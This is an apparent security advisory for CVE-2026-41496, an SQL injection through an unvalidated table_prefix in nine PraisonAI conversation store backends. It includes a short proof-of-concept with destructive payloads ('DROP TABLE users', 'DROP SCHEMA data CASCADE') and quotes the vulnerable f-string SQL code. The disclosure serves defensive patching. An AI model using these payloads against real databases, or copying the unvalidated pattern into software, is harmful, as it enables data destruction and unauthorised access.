CVE-2026-41496 — praisonai
HIGHCVE-2026-41496 is a high-severity (CVSS 8.1) SQL Injection vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.
PraisonAI: SQL Injection via unvalidated `table_prefix` in 9 conversation store backends (incomplete fix for CVE-2026-40315)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41496.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
praisonai🐍praisonaiagentsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
The fix for CVE-2026-40315 added input validation to SQLiteConversationStore only. Nine sibling backends — MySQL, PostgreSQL, async SQLite/MySQL/PostgreSQL, Turso, SingleStore, Supabase, SurrealDB — pass table_prefix straight into f-string SQL. Same root cause, same code pattern, same exploitation. 52 unvalidated injection points across the codebase.
postgres.py additionally accepts an unvalidated schema parameter used directly in DDL.
Severity
High — CWE-89 (SQL Injection)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — 8.1
Exploitable in any deployment where table_prefix is derived from external input (multi-tenant setups, API-driven configuration, user-modifiable config files). Default config ("praison_") is not affected.
Details
The CVE-2026-40315 fix added this guard to sqlite.py:52:
# sqlite.py — PATCHED
import re
if not re.match(r'^[a-zA-Z0-9_]*$', table_prefix):
raise ValueError("table_prefix must contain only alphanumeric characters and underscores")
The following backends perform the identical table_prefix → f-string SQL pattern without this guard:
| Backend | File | Line | Injection points |
|---|---|---|---|
| MySQL | persistence/conversation/mysql.py | 65 | 5 |
| PostgreSQL | persistence/conversation/postgres.py | 89 (+schema:88) | 10 |
| Async SQLite | persistence/conversation/async_sqlite.py | 43 | 13 |
| Async MySQL | persistence/conversation/async_mysql.py | 65 | 13 |
| Async PostgreSQL | persistence/conversation/async_postgres.py | 63 | 13 |
| Turso/LibSQL | persistence/conversation/turso.py | 66 | 9 |
| SingleStore | persistence/conversation/singlestore.py | 51 | 7 |
| Supabase | persistence/conversation/supabase.py | 68 | 9 |
| SurrealDB | persistence/conversation/surrealdb.py | 57 | 8 |
| Total | 9 backends | 52 injection points |
Additionally, praisonai-agents/praisonaiagents/storage/backends.py:179 (SQLiteBackend) accepts table_name without validation.
PoC
#!/usr/bin/env python3
"""
Demonstrates: sqlite.py rejects malicious table_prefix, mysql.py accepts it.
Run: python3 poc.py (no dependencies required)
"""
import re
payload = "x'; DROP TABLE users; --"
# ── SQLite (patched) ────────────────────────────────────────────────
try:
if not re.match(r'^[a-zA-Z0-9_]*$', payload):
raise ValueError("blocked")
print(f"[SQLite] FAIL — accepted: {payload}")
except ValueError:
print(f"[SQLite] OK — rejected malicious table_prefix")
# ── MySQL (unpatched) ───────────────────────────────────────────────
sessions_table = f"{payload}sessions"
sql = f"CREATE TABLE IF NOT EXISTS {sessions_table} (session_id VARCHAR(255) PRIMARY KEY)"
print(f"[MySQL] VULN — generated SQL:\n {sql}")
# ── PostgreSQL (unpatched — both table_prefix AND schema) ──────────
schema = "public; DROP SCHEMA data CASCADE; --"
sessions_table = f"{schema}.praison_sessions"
sql = f"CREATE SCHEMA IF NOT EXISTS {schema}"
print(f"[Postgres] VULN — schema injection:\n {sql}")
Output:
[SQLite] OK — rejected malicious table_prefix
[MySQL] VULN — generated SQL:
CREATE TABLE IF NOT EXISTS x'; DROP TABLE users; --sessions (session_id VARCHAR(255) PRIMARY KEY)
[Postgres] VULN — schema injection:
CREATE SCHEMA IF NOT EXISTS public; DROP SCHEMA data CASCADE; --
Vulnerable code (mysql.py, representative)
# mysql.py:65-67 — NO validation
self.table_prefix = table_prefix # ← raw input
self.sessions_table = f"{table_prefix}sessions" # ← into identifier
self.messages_table = f"{table_prefix}messages"
# mysql.py:105 — straight into DDL
cur.execute(f"""
CREATE TABLE IF NOT EXISTS {self.sessions_table} (
session_id VARCHAR(255) PRIMARY KEY, ...
)
""")
Compare with the patched sqlite.py:52:
# sqlite.py:52-53 — HAS validation
if not re.match(r'^[a-zA-Z0-9_]*$', table_prefix):
raise ValueError("table_prefix must contain only alphanumeric characters and underscores")
Impact
When table_prefix originates from untrusted input — multi-tenant tenant names, API request parameters, user-editable config — an attacker achieves arbitrary SQL execution against the backing database. The injected SQL runs in the context of DDL and DML operations (CREATE TABLE, INSERT, SELECT, DELETE), giving the attacker read/write/delete access to the entire database.
PostgreSQL's schema parameter adds a second injection vector in DDL (CREATE SCHEMA IF NOT EXISTS {schema}).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai | all versions | 4.5.149pip install --upgrade 'praisonai==4.5.149' |
| 🐍PyPI | praisonaiagents | all versions | 1.6.8pip install --upgrade 'praisonaiagents==1.6.8' |
Affected Products
praisonaipraisonpraisonaiagentspraisonDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update praisonai to 4.5.149 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41496 is resolved across your whole dependency graph.
Workarounds
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
Frequently Asked Questions
Is CVE-2026-41496 in your dependencies?
Find it across PyPI, including transitive dependencies.